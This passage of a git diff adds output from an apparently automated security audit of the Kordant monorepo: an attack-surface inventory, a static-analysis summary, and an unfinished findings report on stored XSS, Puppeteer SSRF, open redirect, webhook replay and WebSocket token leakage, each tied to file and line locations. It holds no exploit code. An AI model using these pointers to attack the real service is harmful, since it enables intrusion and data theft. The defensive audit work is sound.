Project matchers can be added at `piolium/matchers.json`, `piolium/custom-matchers.json`, or `.piolium-matchers.json`.
|
||||
1412
piolium/attack-surface/candidates.jsonl
Normal file
1412
piolium/attack-surface/candidates.jsonl
Normal file
File diff suppressed because it is too large
Load Diff
1103
piolium/attack-surface/knowledge-base-report.md
Normal file
1103
piolium/attack-surface/knowledge-base-report.md
Normal file
File diff suppressed because it is too large
Load Diff
76
piolium/attack-surface/lite-recon.md
Normal file
76
piolium/attack-surface/lite-recon.md
Normal file
@@ -0,0 +1,76 @@
|
||||
# Lite Recon — Q0
|
||||
|
||||
Generated by piolium at 2026-05-28T13:00:30.024Z
|
||||
|
||||
## Target
|
||||
|
||||
- Path: `/Users/mike/Code/Kordant`
|
||||
- Repository: (unknown)
|
||||
- Total files (scanned): 1039
|
||||
- Total bytes (scanned): 5.3 MB
|
||||
|
||||
## Git
|
||||
|
||||
- Commit: 26d9f8b050969dfaa2c9dfb714a872160b7db382
|
||||
- Branch: master
|
||||
- History available: true
|
||||
|
||||
Recent commits:
|
||||
|
||||
```
|
||||
26d9f8b clear references
|
||||
1e1773c oof
|
||||
5214412 get to prod tasks
|
||||
04e8396 fix landing scroll
|
||||
3bcbdae fix stripe configuration
|
||||
7260975 clear old assets, new ci/cd flow
|
||||
8281500 mostly android
|
||||
9ee3d53 final
|
||||
aacb800 name refactor
|
||||
8ac2ce5 reduced nesting
|
||||
```
|
||||
|
||||
## Languages
|
||||
|
||||
- TypeScript: 279 file(s)
|
||||
- Kotlin: 98 file(s)
|
||||
- Swift: 76 file(s)
|
||||
- Java: 72 file(s)
|
||||
- Python: 56 file(s)
|
||||
- JavaScript: 25 file(s)
|
||||
- C#: 21 file(s)
|
||||
- Ruby: 19 file(s)
|
||||
- Rust: 17 file(s)
|
||||
- Go: 10 file(s)
|
||||
- Shell: 8 file(s)
|
||||
- C++: 4 file(s)
|
||||
|
||||
## Build / Project Manifests
|
||||
|
||||
- `android/app/build.gradle.kts`
|
||||
- `android/build.gradle.kts`
|
||||
- `browser-ext/package.json`
|
||||
- `honker/Cargo.toml`
|
||||
- `honker/bench/wal_index_methods/Cargo.toml`
|
||||
- `honker/honker-core/Cargo.toml`
|
||||
- `honker/honker-extension/Cargo.toml`
|
||||
- `honker/packages/honker/Cargo.toml`
|
||||
- `honker/packages/honker/pyproject.toml`
|
||||
- `honker/packages/honker-bun/package.json`
|
||||
- `honker/packages/honker-go/go.mod`
|
||||
- `honker/packages/honker-jvm/pom.xml`
|
||||
- `honker/packages/honker-kotlin/pom.xml`
|
||||
- `honker/packages/honker-node/Cargo.toml`
|
||||
- `honker/packages/honker-node/npm/darwin-arm64/package.json`
|
||||
- `honker/packages/honker-node/npm/darwin-x64/package.json`
|
||||
- `honker/packages/honker-node/npm/linux-arm64-gnu/package.json`
|
||||
- `honker/packages/honker-node/npm/linux-x64-gnu/package.json`
|
||||
- `honker/packages/honker-node/package.json`
|
||||
- `honker/packages/honker-rs/Cargo.toml`
|
||||
- `honker/packages/honker-ruby/Gemfile`
|
||||
- `honker/pyproject.toml`
|
||||
- `package.json`
|
||||
- `scheduler/Dockerfile`
|
||||
- `scheduler/docker-compose.yml`
|
||||
- `web/Dockerfile`
|
||||
- `web/package.json`
|
||||
147
piolium/attack-surface/manual-attack-surface-inventory.md
Normal file
147
piolium/attack-surface/manual-attack-surface-inventory.md
Normal file
@@ -0,0 +1,147 @@
|
||||
# Manual Attack Surface Inventory: Kordant `web/`
|
||||
|
||||
Generated: 2026-05-28
|
||||
Scope: Kordant web application (SolidStart + tRPC + Drizzle ORM + Stripe + WebSocket)
|
||||
|
||||
---
|
||||
|
||||
## Entry Points
|
||||
|
||||
### HTTP Routes
|
||||
|
||||
| Route | Method | Auth | Description | Key File |
|
||||
|-------|--------|------|-------------|----------|
|
||||
| `/api/trpc/[trpc]` | POST | Mixed (public/protected/admin) | tRPC endpoint — all tRPC procedures flow here | `web/src/routes/api/trpc/[trpc].ts` |
|
||||
| `/api/stripe/webhook` | POST | None (Stripe signature) | Stripe webhook handler | `web/src/routes/api/stripe/webhook.ts` |
|
||||
| `/api/stripe/session-status` | GET | None (public) | Check Stripe checkout session status | `web/src/routes/api/stripe/session-status.ts` |
|
||||
| `/api/health` | GET | None | Health check | `web/src/routes/api/health.ts` |
|
||||
| `/api/ready` | GET | None | Readiness check | `web/src/routes/api/ready.ts` |
|
||||
| `/auth/callback` | GET | None | Clerk OAuth callback | `web/src/routes/auth/callback.tsx` |
|
||||
| `/billing/checkout` | GET | None | Checkout page | `web/src/routes/billing/checkout.tsx` |
|
||||
| `/billing/return` | GET | None | Post-payment return page | `web/src/routes/billing/return.tsx` |
|
||||
|
||||
### tRPC Routers (16 total, key ones)
|
||||
|
||||
| Router | Auth Type | Key Procedures | Key File |
|
||||
|--------|-----------|----------------|----------|
|
||||
| `extensionRouter` | Public | `getAuthStatus`, `linkDevice`, `reportPhishing` | `web/src/server/api/routers/extension.ts` |
|
||||
| `billingRouter` | Protected | `createCheckoutSession`, `createPortalSession`, `cancelSubscription` | `web/src/server/api/routers/billing.ts` |
|
||||
| `adminRouter` | Admin | `blogCreate`, `blogUpdate`, `userUpdateRole`, `stats` | `web/src/server/api/routers/admin.ts` |
|
||||
| `voiceprintRouter` | Protected | `createEnrollment`, `analyzeAudio` | `web/src/server/api/routers/voiceprint.ts` |
|
||||
| `darkwatchRouter` | Protected | `addWatchlistItem`, `runScan` | `web/src/server/api/routers/darkwatch.ts` |
|
||||
| `userRouter` | Protected | Profile management | `web/src/server/api/routers/user.ts` |
|
||||
| `reportsRouter` | Protected | Report generation | `web/src/server/api/routers/reports.ts` |
|
||||
| `spamshieldRouter` | Protected | Spam analysis | `web/src/server/api/routers/spamshield.ts` |
|
||||
|
||||
### WebSocket
|
||||
|
||||
| Endpoint | Auth | Description | Key File |
|
||||
|----------|------|-------------|----------|
|
||||
| `ws://host:3001/?token=<JWT>` | JWT in query param | Real-time alert broadcast | `web/src/server/websocket.ts` |
|
||||
|
||||
---
|
||||
|
||||
## Public Routes / URLs (No Auth Required)
|
||||
|
||||
1. `/api/trpc/extension.getAuthStatus` — Public tRPC query
|
||||
2. `/api/trpc/extension.linkDevice` — Public tRPC mutation
|
||||
3. `/api/trpc/extension.reportPhishing` — Public tRPC mutation
|
||||
4. `/api/stripe/webhook` — Stripe webhook (signature-verified, no user auth)
|
||||
5. `/api/stripe/session-status` — Stripe session status check
|
||||
6. `/auth/callback` — Clerk OAuth callback
|
||||
7. `/billing/checkout` — Stripe Checkout page
|
||||
8. `/billing/return` — Post-payment return
|
||||
9. `/api/health`, `/api/ready` — Health checks
|
||||
10. Static pages: `/`, `/pricing`, `/features`, `/blog`, `/privacy`, `/terms`, `/about`, `/ads`
|
||||
|
||||
---
|
||||
|
||||
## Attacker Sources
|
||||
|
||||
| Source | Capability | Access Level |
|
||||
|--------|-----------|-------------|
|
||||
| External attacker (internet) | Send HTTP requests, craft tRPC payloads, spoof Stripe webhooks, connect to WebSocket | Unauthenticated |
|
||||
| Compromised browser extension | Make tRPC calls with stored API key | Authenticated (as extension-linked user) |
|
||||
| Insider (non-admin user) | Access to own data via tRPC, WebSocket | Authenticated (user role) |
|
||||
| Insider (admin) | Full admin panel, blog management, user role changes | Authenticated (admin role) |
|
||||
|
||||
---
|
||||
|
||||
## Sinks
|
||||
|
||||
| Sink | File | Description | Risk |
|
||||
|------|------|-------------|------|
|
||||
| Drizzle ORM queries | Multiple routers | SQL execution via `db.select`, `db.insert`, `db.update`, `db.delete` | SQL injection if user input reaches query builders |
|
||||
| Stripe API calls | `billing.service.ts`, `stripe.ts` | Payment operations, subscription management | Payment manipulation, webhook replay |
|
||||
| File system (audio) | `voiceprint/storage.ts` | `writeFile` for audio storage | Path traversal, disk exhaustion |
|
||||
| File system (reports) | `reports/generator.ts` | `writeFileSync` for PDF output | Path traversal |
|
||||
| Puppeteer | `reports/generator.ts` | `page.setContent(html)` — renders HTML to PDF | SSRF, XSS via crafted HTML |
|
||||
| External API calls | `darkwatch/scan.engine.ts` | `fetch()` to HIBP, SecurityTrails, Censys, Shodan | SSRF if user-controlled URLs reach fetch |
|
||||
| WebSocket messages | `websocket.ts` | `ws.send()` for alert broadcast | Alert flooding |
|
||||
| Database writes (webhook) | `billing.service.ts` | `db.insert(subscriptions)` on webhook events | Duplicate subscription creation |
|
||||
|
||||
---
|
||||
|
||||
## Hidden Control Channels
|
||||
|
||||
| Channel | File | Description | Risk |
|
||||
|---------|------|-------------|------|
|
||||
| `process.env.APP_URL` | `middleware.ts` | Trusted as CORS origin | CORS origin injection if env is mutable |
|
||||
| `process.env.STRIPE_WEBHOOK_SECRET` | `webhook.ts` | Stripe signature verification key | Webhook replay if key is leaked |
|
||||
| JWT in `?token=` query param | `websocket.ts` | WebSocket auth token visible in logs | Token leakage via proxy/access logs |
|
||||
| Rate limiter path heuristic | `utils.ts` | `path.includes(p)` for sensitive paths | Rate limit bypass via path manipulation |
|
||||
| `scanStates` Map (in-memory) | `darkwatch.service.ts` | Scan state stored in process memory | State loss on restart, no persistence |
|
||||
| `userSockets` Map (in-memory) | `websocket.ts` | Socket connections stored in process memory | Memory exhaustion, no connection limit per user |
|
||||
|
||||
---
|
||||
|
||||
## Middleware / Proxy Assumptions
|
||||
|
||||
| Layer | File | Assumption | Break Impact |
|
||||
|-------|------|-----------|-------------|
|
||||
| Security headers | `middleware.ts` | Sets CSP, HSTS, X-Frame-Options, etc. | Missing headers weaken defense-in-depth |
|
||||
| CORS | `middleware.ts` | Validates origin against whitelist | CORS misconfiguration if APP_URL is attacker-controlled |
|
||||
| Clerk auth | `middleware.ts` | Sets `ctx.user` from Clerk session | Auth bypass if Clerk session validation fails |
|
||||
| tRPC procedure types | `utils.ts` | `publicProcedure`, `protectedProcedure`, `adminProcedure` enforce auth | Privilege escalation if middleware is bypassed |
|
||||
| Rate limiting | `utils.ts` | Redis sorted set, tier-based limits | DoS if rate limit is bypassed |
|
||||
| Valibot schemas | `schemas/*.ts` | Input validation before service layer | Injection if schema is missing or weak |
|
||||
|
||||
---
|
||||
|
||||
## Key Files
|
||||
|
||||
### Authentication & Authorization
|
||||
- `web/src/middleware.ts` — Clerk middleware, security headers, CORS
|
||||
- `web/src/server/api/utils.ts` — tRPC procedure types, rate limiting middleware
|
||||
- `web/src/server/auth/jwt.ts` — JWT verification
|
||||
- `web/src/server/auth/session.ts` — Session management
|
||||
|
||||
### Stripe / Billing
|
||||
- `web/src/routes/api/stripe/webhook.ts` — Stripe webhook entry point
|
||||
- `web/src/server/services/billing.service.ts` — Billing service (webhook handler, checkout, subscriptions)
|
||||
- `web/src/server/stripe.ts` — Stripe client initialization
|
||||
- `web/src/server/api/schemas/billing.ts` — Billing input schemas
|
||||
|
||||
### tRPC Routers
|
||||
- `web/src/server/api/routers/admin.ts` — Admin procedures (blog, users)
|
||||
- `web/src/server/api/routers/billing.ts` — Billing procedures
|
||||
- `web/src/server/api/routers/extension.ts` — Extension procedures (PUBLIC)
|
||||
- `web/src/server/api/routers/voiceprint.ts` — Voice print procedures
|
||||
- `web/src/server/api/routers/darkwatch.ts` — DarkWatch procedures
|
||||
|
||||
### Services
|
||||
- `web/src/server/services/voiceprint.service.ts` — Voice analysis pipeline
|
||||
- `web/src/server/services/voiceprint/storage.ts` — Audio file storage
|
||||
- `web/src/server/services/darkwatch.service.ts` — DarkWatch scan orchestration
|
||||
- `web/src/server/services/darkwatch/scan.engine.ts` — External API scanning
|
||||
- `web/src/server/services/reports/generator.ts` — Report generation (Puppeteer)
|
||||
|
||||
### Real-Time
|
||||
- `web/src/server/websocket.ts` — WebSocket server (port 3001)
|
||||
|
||||
### Database
|
||||
- `web/src/server/db/index.ts` — Drizzle ORM database connection
|
||||
- `web/src/server/db/schema/*.ts` — Database schema definitions
|
||||
|
||||
### Rate Limiting
|
||||
- `web/src/server/lib/ratelimit.ts` — Redis-based rate limiter
|
||||
94
piolium/attack-surface/source-sink-flows-all-severities.md
Normal file
94
piolium/attack-surface/source-sink-flows-all-severities.md
Normal file
@@ -0,0 +1,94 @@
|
||||
# Source-Sink Flow Analysis Summary
|
||||
|
||||
**Generated**: 2026-05-28
|
||||
**Phase**: L3 (SAST — Greppable Fallback)
|
||||
**Target**: Kordant monorepo (web/, browser-ext/)
|
||||
|
||||
---
|
||||
|
||||
## Scan Overview
|
||||
|
||||
| Metric | Value |
|
||||
|--------|-------|
|
||||
| Files scanned | 730 |
|
||||
| Candidate files | 218 |
|
||||
| Candidate matches | 1412 |
|
||||
| Draft findings produced | 12 |
|
||||
| Keep (enriched) | 10 |
|
||||
| Drop (enriched) | 2 |
|
||||
|
||||
## Candidate Classes Breakdown
|
||||
|
||||
| Class | Matches | High-Score Examples | Enriched | Kept | Dropped |
|
||||
|-------|---------|---------------------|----------|------|---------|
|
||||
| `raw-sql-query` | 611 | admin.ts, billing.ts, blog.ts (`.query()` calls) | N/A | 0 | 0 |
|
||||
| `path-traversal-file-access` | 638 | blog/[slug].tsx, ext_bench.py, api.js (`.join()`) | 2 | 1 | 1 |
|
||||
| `hidden-control-channel` | 42 | middleware.ts (CORS origin), trpc.ts (auth headers) | 4 | 3 | 1 |
|
||||
| `command-execution` | 55 | test files, benchmarks (subprocess.Popen, exec.Command) | N/A | 0 | 0 |
|
||||
| `dynamic-code-execution` | 12 | honker-bun/raw.exec(), test_sqlite_versions.py | N/A | 0 | 0 |
|
||||
| `secret-literal` | 9 | billing.test.ts, auth routes (password error messages) | N/A | 0 | 0 |
|
||||
| `unsafe-html-or-template` | 17 | blog/[slug].tsx (innerHTML), auth test files | 1 | 1 | 0 |
|
||||
| `ssrf-capable-request` | 10 | billing/return.tsx (fetch), scan.engine.ts (external API) | 1 | 1 | 0 |
|
||||
| `webhook-without-obvious-signature` | 6 | stripe/webhook.ts | 1 | 1 | 0 |
|
||||
| `open-redirect` | 2 | blog/index.tsx, app.tsx | 1 | 1 | 0 |
|
||||
| `weak-token-or-crypto` | 5 | PasswordInput.tsx (Math.random) | 1 | 0 | 1 |
|
||||
| `public-entrypoint` | 5 | extensionRouter procedures | N/A | 0 | 0 |
|
||||
|
||||
## Key Filtering Decisions
|
||||
|
||||
### Dropped: `raw-sql-query` (611 matches)
|
||||
- **Reason**: False positives — 99%+ are tRPC `.query()` method calls (not raw SQL), not Drizzle `sql<>` tag usage. The tRPC router `.query()` method is a framework method, not a SQL execution sink.
|
||||
- **Exception**: The one real `sql<>` usage in admin.ts:47 was separately assessed as p4-012 (low severity, latent risk).
|
||||
|
||||
### Dropped: `command-execution` (55 matches)
|
||||
- **Reason**: All matches are in test files (`test_*.py`, `*_test.go`, `*_spec.rb`) or benchmark scripts. These are development-time subprocess calls, not production attack surface.
|
||||
|
||||
### Dropped: `dynamic-code-execution` (12 matches)
|
||||
- **Reason**: All matches are SQLite raw SQL execution methods (`raw.exec()`, `exec()`) in the honker package or test files. These are database operations, not code execution sinks.
|
||||
|
||||
### Dropped: `secret-literal` (9 matches)
|
||||
- **Reason**: All matches are test data (`billing.test.ts`, `notification.service.test.ts`) or password validation error messages (`login.tsx`, `signup.tsx` — `"Password is required"` is not a secret).
|
||||
|
||||
### Dropped: `path-traversal-file-access` — 1 kept, 1 dropped
|
||||
- **Kept (p4-005)**: `voiceprint/storage.ts` — `userId` not validated before `path.join()`, enabling arbitrary file write
|
||||
- **Dropped**: `blog/[slug].tsx` — false positives from `.join("")` string concatenation (not filesystem path joins)
|
||||
|
||||
### Dropped: `weak-token-or-crypto` — 0 kept, 1 dropped
|
||||
- **Dropped**: `PasswordInput.tsx` — `Math.random()` is used for generating HTML input element IDs, not for CSRF tokens or cryptographic purposes. The id is only used for `<label for=...>` association. Not a security issue.
|
||||
|
||||
## DFD/CFD Coverage
|
||||
|
||||
| DFD/CFD Slice | Covered by Findings | Notes |
|
||||
|---------------|---------------------|-------|
|
||||
| DFD-1: tRPC → Drizzle ORM | Partial (p4-012) | CVE-2026-39356 surface noted but no active injection found |
|
||||
| DFD-2: VoicePrint Pipeline | Full (p4-005) | Path traversal in audio storage |
|
||||
| DFD-3: Browser Ext → tRPC | Partial (p4-008) | superjson vulnerability in extension only |
|
||||
| DFD-4: WebSocket Alerts | Full (p4-007, p4-011) | JWT leak + no Origin validation |
|
||||
| DFD-5: Stripe Webhook | Full (p4-006) | Unsafe type coercion |
|
||||
| CFD-1: Auth Flow | Partial (p4-011) | JWT in query param + no Origin check |
|
||||
| CFD-2: Authz Flow | Full (p4-001) | Unvalidated role mutation |
|
||||
| CFD-3: Rate Limiting | Full (p4-009) | Substring-based path matching |
|
||||
|
||||
## Custom Analysis Targets (Domain Attack Research)
|
||||
|
||||
| Target | File | Finding |
|
||||
|--------|------|---------|
|
||||
| CORS env var trust | `web/src/middleware.ts` | p4-003 |
|
||||
| XSS via markdown rendering | `web/src/routes/blog/[slug].tsx` | p4-004 |
|
||||
| Puppeteer SSRF | `web/src/server/services/reports/generator.ts` | p4-002 |
|
||||
| Stripe webhook type safety | `web/src/server/services/billing.service.ts` | p4-006 |
|
||||
| Return URL open redirect | `web/src/server/api/schemas/billing.ts` | p4-010 |
|
||||
| superjson CVE | `browser-ext/package.json` | p4-008 |
|
||||
| Rate limit bypass | `web/src/server/api/utils.ts` | p4-009 |
|
||||
| WebSocket Origin check | `web/src/server/websocket.ts` | p4-011 |
|
||||
| JWT in WS query param | `web/src/server/websocket.ts` | p4-007 |
|
||||
| Admin role mutation | `web/src/server/api/routers/admin.ts` | p4-001, p4-012 |
|
||||
| Audio path traversal | `web/src/server/services/voiceprint/storage.ts` | p4-005 |
|
||||
|
||||
## Agentic Actions Audit
|
||||
|
||||
Analyzed 2 GitHub Actions workflow files:
|
||||
- `.github/workflows/ci.yml` — No AI agent actions found
|
||||
- `.github/workflows/deploy.yml` — No AI agent actions found
|
||||
|
||||
**Result**: 0 findings. Standard CI/CD workflows with no Claude Code, Gemini CLI, OpenAI Codex, or GitHub AI Inference integrations.
|
||||
74
piolium/audit-state.json
Normal file
74
piolium/audit-state.json
Normal file
@@ -0,0 +1,74 @@
|
||||
{
|
||||
"audits": [
|
||||
{
|
||||
"audit_id": "2026-05-28T13:00:30.320Z",
|
||||
"mode": "balanced",
|
||||
"started_at": "2026-05-28T13:00:30.320Z",
|
||||
"completed_at": "2026-05-28T15:06:13.722Z",
|
||||
"status": "complete",
|
||||
"phases": {
|
||||
"L1": {
|
||||
"status": "complete",
|
||||
"attempt": 1,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T13:00:30.345Z",
|
||||
"completed_at": "2026-05-28T13:27:41.815Z"
|
||||
},
|
||||
"L2": {
|
||||
"status": "complete",
|
||||
"attempt": 1,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T13:27:41.818Z",
|
||||
"completed_at": "2026-05-28T13:43:21.313Z"
|
||||
},
|
||||
"L3": {
|
||||
"status": "complete",
|
||||
"attempt": 2,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T13:43:21.317Z",
|
||||
"completed_at": "2026-05-28T14:44:05.594Z"
|
||||
},
|
||||
"L4": {
|
||||
"status": "complete",
|
||||
"attempt": 2,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T13:43:21.364Z",
|
||||
"completed_at": "2026-05-28T14:44:42.640Z"
|
||||
},
|
||||
"L5": {
|
||||
"status": "complete",
|
||||
"attempt": 1,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T14:44:42.641Z",
|
||||
"completed_at": "2026-05-28T14:59:26.515Z"
|
||||
},
|
||||
"L6": {
|
||||
"status": "skipped",
|
||||
"started_at": "2026-05-28T14:59:26.522Z",
|
||||
"completed_at": "2026-05-28T14:59:26.526Z"
|
||||
},
|
||||
"L6b": {
|
||||
"status": "skipped",
|
||||
"started_at": "2026-05-28T14:59:26.526Z",
|
||||
"completed_at": "2026-05-28T14:59:26.526Z"
|
||||
},
|
||||
"L6c": {
|
||||
"status": "complete",
|
||||
"attempt": 1,
|
||||
"max_attempts": 6,
|
||||
"started_at": "2026-05-28T14:59:26.527Z",
|
||||
"completed_at": "2026-05-28T15:06:13.675Z"
|
||||
},
|
||||
"L7": {
|
||||
"status": "complete",
|
||||
"started_at": "2026-05-28T15:06:13.678Z",
|
||||
"completed_at": "2026-05-28T15:06:13.721Z"
|
||||
}
|
||||
},
|
||||
"agent_sdk": "pi",
|
||||
"commit": "26d9f8b050969dfaa2c9dfb714a872160b7db382",
|
||||
"branch": "master",
|
||||
"history_available": true
|
||||
}
|
||||
]
|
||||
}
|
||||
298
piolium/final-audit-report.md
Normal file
298
piolium/final-audit-report.md
Normal file
@@ -0,0 +1,298 @@
|
||||
# Security Audit Report: Kordant
|
||||
=========================================
|
||||
|
||||
**Audit ID**: 2026-05-28T13:00:30.320Z
|
||||
**Mode**: Balanced
|
||||
**Commit**: `26d9f8b050969dfaa2c9dfb714a872160b7db382`
|
||||
**Date**: 2026-05-28
|
||||
**Target**: Kordant monorepo — SolidStart + tRPC + Drizzle ORM + Stripe + WebSocket + Browser Extension
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
This audit of the Kordant monorepo identified **11 security findings**: 1 High and 10 Medium severity. **No Critical findings** were confirmed — all valid findings require a precondition such as authenticated access, admin privileges, environment variable injection, or access to server logs.
|
||||
|
||||
The most significant finding is a **stored XSS vulnerability** (p8-001) in the blog post rendering pipeline, where unsanitized markdown content is rendered via SolidJS `innerHTML`, allowing any admin-controlled blog post to execute JavaScript in the context of every viewer's browser. This is the only finding rated HIGH severity.
|
||||
|
||||
A notable **systemic pattern** emerged across multiple findings: **missing input validation constraints** (no maximum length on audio uploads, no domain restrictions on return URLs, no Origin validation on WebSocket connections). This suggests a broader architectural issue with input validation strategy rather than isolated bugs.
|
||||
|
||||
The **Stripe webhook handler** presents two independent issues — unsafe type coercion (p8-006) and missing idempotency (p8-007) — which, when chained, allow subscription state manipulation if the webhook secret is ever exposed through logs or other channels.
|
||||
|
||||
The **WebSocket authentication mechanism** (p8-008, p8-009) is the weakest link in the authentication architecture: JWT tokens are passed in query parameters (visible in logs) and the server does not validate Origin headers, creating a complete authentication bypass chain accessible from any website.
|
||||
|
||||
---
|
||||
|
||||
## Methodology Summary
|
||||
|
||||
- **Intelligence Gathering:** Advisory collection covering 7+ security-sensitive dependencies (drizzle-orm, @trpc/server, valibot, superjson, jose, ws, vite), 14+ CVEs reviewed, and 88,636 WooYun case patterns
|
||||
- **Knowledge Base:** Threat modeling with 10 trust boundaries, 6 data-flow slices (DFD), 3 control-flow slices (CFD), and domain-specific attack research across 5 sub-domains (voice biometrics, OSINT aggregation, payments, real-time messaging, file system)
|
||||
- **Static Analysis:** Targeted grep/read analysis of 730 files, 218 candidate files identified, 1,412 candidate matches scored. Custom SAST targets derived from DFD/CFD slices. CodeQL and Semgrep were not available on PATH.
|
||||
- **Review Chambers:** Single balanced chamber evaluated 19 draft findings (12 from SAST phase, 7 from probe phase). After ideological challenge, false-positive elimination, and duplicate consolidation: 11 findings promoted (1 HIGH, 10 MEDIUM), 1 false positive rejected, 3 low-severity rejected, 4 duplicates collapsed.
|
||||
- **Verification:** FP-check eliminated 1 false positive (path-traversal-audio-storage — userId from ctx.user.id, not user input). No PoC scripts were constructed (all PoCs pending).
|
||||
|
||||
---
|
||||
|
||||
## Summary of Findings
|
||||
|
||||
| ID | Title | Severity | PoC Status | Parent |
|
||||
|----|-------|----------|------------|--------|
|
||||
| p8-001 | Stored XSS via unsanitized innerHTML in blog rendering | HIGH | pending | — |
|
||||
| p8-002 | SSRF via Puppeteer --no-sandbox in report generation | MEDIUM | pending | — |
|
||||
| p8-003 | Open redirect via unvalidated return URL in Stripe checkout | MEDIUM | pending | — |
|
||||
| p8-004 | Rate limit bypass via incomplete sensitive path list | MEDIUM | pending | — |
|
||||
| p8-005 | CORS origin trust from unvalidated APP_URL env var | MEDIUM | pending | — |
|
||||
| p8-006 | Webhook type coercion bypassing TypeScript safety | MEDIUM | pending | — |
|
||||
| p8-007 | Webhook replay via missing event ID deduplication | MEDIUM | pending | — |
|
||||
| p8-008 | WebSocket JWT leakage via query parameter | MEDIUM | pending | — |
|
||||
| p8-009 | WebSocket no Origin header validation | MEDIUM | pending | — |
|
||||
| p8-010 | VoicePrint resource exhaustion via unbounded audio upload | MEDIUM | pending | — |
|
||||
| p8-011 | Browser extension vulnerable dependency (superjson CVE-2022-23631) | MEDIUM | pending | — |
|
||||
|
||||
**Severity Distribution**: 0 Critical · 1 High · 10 Medium · 0 Low
|
||||
|
||||
---
|
||||
|
||||
## Technical Findings Detail
|
||||
|
||||
### p8-001 Stored XSS via unsanitized innerHTML in blog rendering
|
||||
- **Severity:** HIGH
|
||||
- **Summary:** Blog post rendering uses a custom `contentToHtml()` function with raw string concatenation combined with SolidJS `innerHTML` directive, allowing stored XSS.
|
||||
- **Impact:** Stored XSS affecting all blog post viewers. Attackers can steal session cookies/JWTs, perform account takeover, redirect users to phishing pages, and deface content. Any admin-controlled blog post with HTML/JavaScript tags executes in every viewer's browser.
|
||||
- **Root Cause:** The `contentToHtml()` function at `web/src/routes/blog/[slug].tsx:14-46` performs raw string interpolation (`html += \`<h2>${line.slice(3)}</h2>\``) without HTML escaping. The `innerHTML` directive at line 121 bypasses SolidJS's default framework-level escaping.
|
||||
- **Key Code Reference:** `web/src/routes/blog/[slug].tsx:14-46` (contentToHtml), `web/src/routes/blog/[slug].tsx:121` (innerHTML binding)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-001-xss-in-innerhtml/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-001-xss-in-innerhtml/draft.md
|
||||
- **Evidence:** piolium/findings/p8-001-xss-in-innerhtml/
|
||||
|
||||
### p8-002 SSRF via Puppeteer --no-sandbox in report generation
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Report PDF generator uses Puppeteer with `--no-sandbox` flag and `page.setContent()` accepting arbitrary HTML, enabling SSRF through database-controlled data.
|
||||
- **Impact:** SSRF to internal services (cloud metadata endpoints, internal APIs) and local file read via `file://` URLs. The `--no-sandbox` flag disables Chrome sandboxing, significantly expanding the attack surface.
|
||||
- **Root Cause:** The `generatePDF()` function at `web/src/server/services/reports/generator.ts:141-150` launches Puppeteer with `--no-sandbox` and uses `page.setContent(html)` with HTML compiled from database data via `compileData()`. No URL allowlisting or request interception is applied.
|
||||
- **Key Code Reference:** `web/src/server/services/reports/generator.ts:141-150` (generatePDF), `web/src/server/services/reports/generator.ts:53-137` (compileData)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-002-puppeteer-ssrf/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-002-puppeteer-ssrf/draft.md
|
||||
- **Evidence:** piolium/findings/p8-002-puppeteer-ssrf/
|
||||
|
||||
### p8-003 Open redirect via unvalidated return URL in Stripe checkout
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Billing checkout and portal schemas validate `returnUrl` using valibot's `url()` validator which checks format only — no domain restriction. URL is passed directly to Stripe APIs.
|
||||
- **Impact:** Open redirect attacks via Stripe checkout/portal return URLs. Users are redirected to phishing pages mimicking Kordant's branding after payment. The redirect URL includes the Stripe session ID, enabling session fixation attacks.
|
||||
- **Root Cause:** `CreateCheckoutSessionSchema` at `web/src/server/api/schemas/billing.ts:4-6` uses `string([url()])` for returnUrl validation, which only validates URL format. The URL is passed directly to `stripe.checkout.sessions.create()` without domain allowlisting.
|
||||
- **Key Code Reference:** `web/src/server/api/schemas/billing.ts:4-6, 9-10` (schemas), `web/src/server/api/routers/billing.ts:43-54, 68-75` (usage)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-003-open-redirect-return-url/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-003-open-redirect-return-url/draft.md
|
||||
- **Evidence:** piolium/findings/p8-003-open-redirect-return-url/
|
||||
|
||||
### p8-004 Rate limit bypass via incomplete sensitive path list
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** Rate limiting middleware uses substring matching (`path.includes(p)`) with an incomplete sensitive list covering only auth operations. Sensitive operations like `darkwatch.runScan` and `voiceprint.analyzeAudio` get the standard authenticated tier (100/min) instead of stricter sensitive tier (3/hr).
|
||||
- **Impact:** Resource exhaustion and cost abuse for sensitive operations. `darkwatch.runScan` can trigger 100 external API calls per minute (HIBP, SecurityTrails, Censys, Shodan), and `voiceprint.analyzeAudio` can consume 300MB+ memory per request at high frequency.
|
||||
- **Root Cause:** The rate limiter at `web/src/server/api/utils.ts:35-38` uses `sensitivePaths.some(p => path.includes(p))` where `sensitivePaths` is hardcoded to `["login", "signup", "forgotPassword", "resetPassword"]`. This substring heuristic misses most sensitive operations.
|
||||
- **Key Code Reference:** `web/src/server/api/utils.ts:35-38` (rate limiting middleware)
|
||||
- **PoC Status:** pending
|
||||
- **Detailed Report:** piolium/findings/p8-004-rate-limit-substring-bypass/report.md
|
||||
- **Proof of Concept:** piolium/findings/p8-004-rate-limit-substring-bypass/draft.md
|
||||
- **Evidence:** piolium/findings/p8-004-rate-limit-substring-bypass/
|
||||
|
||||
### p8-005 CORS origin trust from unvalidated APP_URL env var
|
||||
- **Severity:** MEDIUM
|
||||
- **Summary:** CORS middleware trusts `process.env.APP_URL` as an allowed origin without domain validation. If an attacker can control this environment variable, they can set an arbitrary allowed CORS origin with credentials.
|
||||
- **Impact:** Full cross-origin data exfiltration from the tRPC API. An attacker-controlled origin can read all authenticated tRPC procedures including user profiles, billing data, darkwatch exposure data, voiceprint analysis results, and admin statistics.
|
||||
